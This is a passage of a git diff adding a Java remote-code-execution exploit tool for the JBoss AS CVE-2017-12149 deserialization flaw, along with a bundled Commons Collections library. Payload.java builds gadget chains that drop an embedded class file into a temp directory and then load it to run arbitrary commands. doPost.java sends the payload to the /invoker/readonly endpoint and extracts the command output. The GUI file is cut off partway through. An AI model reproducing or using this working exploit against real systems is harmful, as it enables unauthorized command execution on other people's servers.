"JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/PredicatedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SetUniqueList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SynchronizedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TransformedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TreeList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TypedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/UnmodifiableList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractHashedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractLinkedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractReferenceMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CaseInsensitiveMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CompositeMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeSortedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/Flat3Map.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/HashedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/IdentityMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LRUMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazyMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazySortedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LinkedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ListOrderedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/MultiKeyMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedSortedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceIdentityMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/SingletonMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/StaticBucketMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedSortedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedSortedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/overview.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/package.html" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSetDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/CompositeSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/ListOrderedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/MapBackedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSortedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSortedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSortedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSortedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/package.html" diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java" new file mode 100644 index 0000000..c3ec8bb --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java" @@ -0,0 +1,190 @@ +package com.jboss.main; +import java.io.ByteArrayOutputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.net.MalformedURLException; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.bag.SynchronizedSortedBag; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.set.SynchronizedSet; + +public class Payload { + @SuppressWarnings ( {"unchecked"} ) + public byte[] upload(String os) throws Exception, Exception { + + + String TempFilePath = "c:/windows/temp/RunCheckConfig.class"; + if (os.equals("Linux")) { + TempFilePath = "/tmp/RunCheckConfig.class"; + } + byte[] Classofbyte = {-54,-2,-70,-66,0,0,0,50,0,94,7,0,2,1,0,14,82,117,110,67,104,101,99,107,67,111,110,102,105,103,7,0,4,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,6,60,105,110,105,116,62,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,9,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,4,67,111,100,101,10,0,3,0,12,12,0,5,0,13,1,0,3,40,41,86,7,0,15,1,0,22,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,10,0,14,0,12,7,0,18,1,0,12,106,97,118,97,47,105,111,47,70,105,108,101,8,0,20,1,0,25,47,116,109,112,47,82,117,110,67,104,101,99,107,67,111,110,102,105,103,46,99,108,97,115,115,10,0,17,0,22,12,0,5,0,6,10,0,17,0,24,12,0,25,0,26,1,0,6,101,120,105,115,116,115,1,0,3,40,41,90,8,0,28,1,0,11,91,76,50,57,49,57,49,57,93,13,10,10,0,14,0,30,12,0,31,0,32,1,0,6,97,112,112,101,110,100,1,0,44,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,8,0,34,1,0,11,91,87,50,57,49,48,49,51,93,13,10,10,0,36,0,38,7,0,37,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,12,0,39,0,40,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,10,0,36,0,42,12,0,43,0,44,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,7,0,46,1,0,22,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,7,0,48,1,0,25,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,82,101,97,100,101,114,10,0,50,0,52,7,0,51,1,0,17,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,12,0,53,0,54,1,0,14,103,101,116,73,110,112,117,116,83,116,114,101,97,109,1,0,23,40,41,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,10,0,47,0,56,12,0,5,0,57,1,0,24,40,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,41,86,10,0,45,0,59,12,0,5,0,60,1,0,19,40,76,106,97,118,97,47,105,111,47,82,101,97,100,101,114,59,41,86,8,0,62,1,0,1,10,10,0,45,0,64,12,0,65,0,66,1,0,8,114,101,97,100,76,105,110,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,10,0,14,0,68,12,0,69,0,66,1,0,8,116,111,83,116,114,105,110,103,10,0,8,0,22,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,16,76,82,117,110,67,104,101,99,107,67,111,110,102,105,103,59,1,0,8,112,97,114,97,109,99,109,100,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,17,108,111,99,97,108,83,116,114,105,110,103,66,117,102,102,101,114,1,0,24,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,1,0,4,102,105,108,101,1,0,14,76,106,97,118,97,47,105,111,47,70,105,108,101,59,1,0,12,108,111,99,97,108,80,114,111,99,101,115,115,1,0,19,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,19,108,111,99,97,108,66,117,102,102,101,114,101,100,82,101,97,100,101,114,1,0,24,76,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,59,1,0,4,115,116,114,49,1,0,4,115,116,114,50,1,0,14,108,111,99,97,108,69,120,99,101,112,116,105,111,110,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,91,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,19,82,117,110,67,104,101,99,107,67,111,110,102,105,103,46,106,97,118,97,0,33,0,1,0,3,0,0,0,0,0,1,0,1,0,5,0,6,0,2,0,7,0,0,0,4,0,1,0,8,0,10,0,0,1,61,0,5,0,9,0,0,0,122,42,-73,0,11,-69,0,14,89,-73,0,16,77,-69,0,17,89,18,19,-73,0,21,78,45,-74,0,23,-103,0,13,44,18,27,-74,0,29,87,-89,0,10,44,18,33,-74,0,29,87,-72,0,35,43,-74,0,41,58,4,-69,0,45,89,-69,0,47,89,25,4,-74,0,49,-73,0,55,-73,0,58,58,5,-89,0,15,44,25,6,-74,0,29,18,61,-74,0,29,87,25,5,-74,0,63,89,58,6,-57,-1,-20,44,-74,0,67,58,7,-69,0,8,89,25,7,-73,0,70,58,8,25,8,-65,0,0,0,3,0,71,0,0,0,26,0,6,0,0,0,8,0,4,0,9,0,12,0,10,0,46,0,11,0,76,0,13,0,102,0,14,0,72,0,0,0,102,0,10,0,0,0,122,0,73,0,74,0,0,0,0,0,122,0,75,0,76,0,1,0,12,0,110,0,77,0,78,0,2,0,22,0,100,0,79,0,80,0,3,0,55,0,67,0,81,0,82,0,4,0,76,0,46,0,83,0,84,0,5,0,79,0,12,0,85,0,76,0,6,0,99,0,23,0,85,0,76,0,6,0,108,0,14,0,86,0,76,0,7,0,119,0,3,0,87,0,88,0,8,0,89,0,0,0,37,0,4,-1,0,39,0,4,7,0,1,7,0,90,7,0,14,7,0,17,0,0,6,-2,0,32,7,0,50,7,0,45,7,0,90,-6,0,11,0,1,0,92,0,0,0,2,0,93}; + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(FileOutputStream.class), + new InvokerTransformer("getConstructor", + new Class[] { Class[].class }, + new Object[] { new Class[] { String.class } }), + new InvokerTransformer("newInstance", + new Class[] { Object[].class }, + new Object[] { new Object[] { TempFilePath } }), + new InvokerTransformer("write", new Class[] { byte[].class }, + new Object[] { Classofbyte }), + new ConstantTransformer(1) }; + Transformer transformerChain = new ChainedTransformer(transformers); + Map map1 = new HashMap(); + Map lazyMap = LazyMap.decorate(map1,transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + // Serializa o objeto +// System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser"); +// FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser"); +// ObjectOutputStream oos = new ObjectOutputStream(fos); +// oos.writeObject(map); +// oos.flush(); + ByteArrayOutputStream bo = new ByteArrayOutputStream(10); + ObjectOutputStream out = new ObjectOutputStream(bo); + out.writeObject(map); + out.flush(); + out.close(); + return bo.toByteArray(); + + } + public byte[] PayloadGeneration(String cmd,String os) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException { + + String ClassPath = "file:/c:/windows/temp/"; + + if (os.equals("linux")) { + ClassPath = "file:/tmp/"; + } + if (os.equals("linux")) + cmd =cmd; + else + cmd = "cmd.exe /c "+cmd; + + System.out.println(cmd); + Transformer[] transformers = { + new ConstantTransformer(URLClassLoader.class), + + new InvokerTransformer("getConstructor", + new Class[] {Class[].class}, new Object[] { + new Class[]{java.net.URL[].class}}), + + new InvokerTransformer( + "newInstance", + new Class[] { + Object[].class}, new Object[] { new Object[] { new java.net.URL[] { + + new java.net.URL(ClassPath) + + }}}), + + new InvokerTransformer("loadClass", + new Class[] { String.class }, new Object[] { "RunCheckConfig" }), + + new InvokerTransformer("getConstructor", + new Class[] { Class[].class }, + new Object[] { new Class[]{ String.class } }), + + new InvokerTransformer("newInstance", + new Class[] { Object[].class }, + new Object[] { new String[]{ cmd } }) };//执行 带回 + Transformer transformerChain = new ChainedTransformer(transformers); + Map map1 = new HashMap(); + Map lazyMap = LazyMap.decorate(map1,transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + // Serializa o objeto +// System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser"); +// FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser"); +// ObjectOutputStream oos = new ObjectOutputStream(fos); +// oos.writeObject(map); +// oos.flush(); + ByteArrayOutputStream bo = new ByteArrayOutputStream(10); + ObjectOutputStream out = new ObjectOutputStream(bo); + out.writeObject(map); + out.flush(); + out.close(); + return bo.toByteArray(); + + } + } diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java" new file mode 100644 index 0000000..966fff5 --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java" @@ -0,0 +1,103 @@ +package com.jboss.main; + +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.URL; +import java.net.URLConnection; +import java.nio.ByteBuffer; + +public class doPost { + + public static String DoPost(String url,byte[] Payload) throws Exception{ + try { +// URL realUrl = new URL(url); +// +// HttpURLConnection conn = (HttpURLConnection) realUrl.openConnection(); + +// conn.setDoInput(true); +// conn.setDoOutput(true); +// conn.setRequestMethod("POST"); +// conn.addRequestProperty("FileName", fileName); +// conn.setRequestProperty("accept", "*/*"); +// conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); +// conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + if (!url.substring(0,4).equalsIgnoreCase("http")) { + + url="http://"+url; + } + URL urlobj=new URL(url); + String host=urlobj.getHost(); + int port=urlobj.getPort(); + System.out.println(host+port); + if (port==-1) { + try { + String schema=urlobj.getProtocol(); + if (schema.equalsIgnoreCase("https")){ + port=445; + }else{ + port=80; + } + }catch(Exception e) { + port=80; + } + + } + + + Socket socket = new Socket(host, port); + socket.setSoTimeout(10000); + StringBuffer sb = new StringBuffer(); + sb.append("POST /invoker/readonly HTTP/1.1\r\n"); + sb.append("Host: "+host+":"+port+"\r\n"); + sb.append("Content-Length: " + Payload.length + "\r\n"); + sb.append("accept: */*\r\n"); + sb.append("user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)\r\n"); + sb.append("accept: */*\r\n"); + sb.append("Content-Type: application/x-www-form-urlencoded\r\n"); + sb.append("\r\n"); + byte[] b3 = new byte[sb.toString().getBytes().length + Payload.length]; + System.arraycopy(sb.toString().getBytes(), 0, b3, 0, sb.toString().getBytes().length); + System.arraycopy(Payload, 0, b3, sb.toString().getBytes().length, Payload.length); + OutputStream data = socket.getOutputStream(); + //读取文件路径 + data.write(b3); + data.flush(); + //写入数据 + BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); + + StringBuffer s=new StringBuffer(); + String line=""; + while((line = br.readLine())!=null) { + s.append(line+"\r\n"); + } + String res = s.toString(); + if(res.indexOf("java.lang.Exception")>=0) { + + return res.split("java.lang.Exception:")[1].split("RunCheckConfig")[0]; + } + } catch (Exception e) { + System.out.println("异常," + e.getMessage()); + throw e; +// e.printStackTrace(); + } + return ""; + +} + + private static void StringBuffer() { + // TODO Auto-generated method stub + + } +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java" new file mode 100644 index 0000000..9fb7115 --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java" @@ -0,0 +1,221 @@ +package com.jboss.main; + +import java.awt.EventQueue; + +import javax.swing.JFrame; +import javax.swing.JOptionPane; + +import java.awt.GridLayout; +import javax.swing.JButton; +import javax.swing.JPanel; +import javax.swing.JTextField; +import java.awt.event.ActionListener; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.awt.event.ActionEvent; +import javax.swing.JLabel; +import java.awt.Font; +import javax.swing.SwingConstants; +import javax.swing.JTextArea; +import javax.swing.JComboBox; +import javax.swing.JTextPane; +import javax.swing.JScrollPane; + +public class main { + + + private JFrame frmCveJboosAs; + private JTextField server; + private JTextField cmd; + Payload payload = new Payload(); + String result = null; + byte[] Payload = null; + String os = ""; + + /** + * Launch the application. + */ + public static void main(String[] args) { + EventQueue.invokeLater(new Runnable() { + public void run() { + try { + main window = new main(); + window.frmCveJboosAs.setVisible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + } + + /** + * Create the application. + * @wbp.parser.entryPoint + */ + public main() { + initialize(); + } + + /** + * Initialize the contents of the frame. + */ + private void initialize() { + + frmCveJboosAs = new JFrame(); + 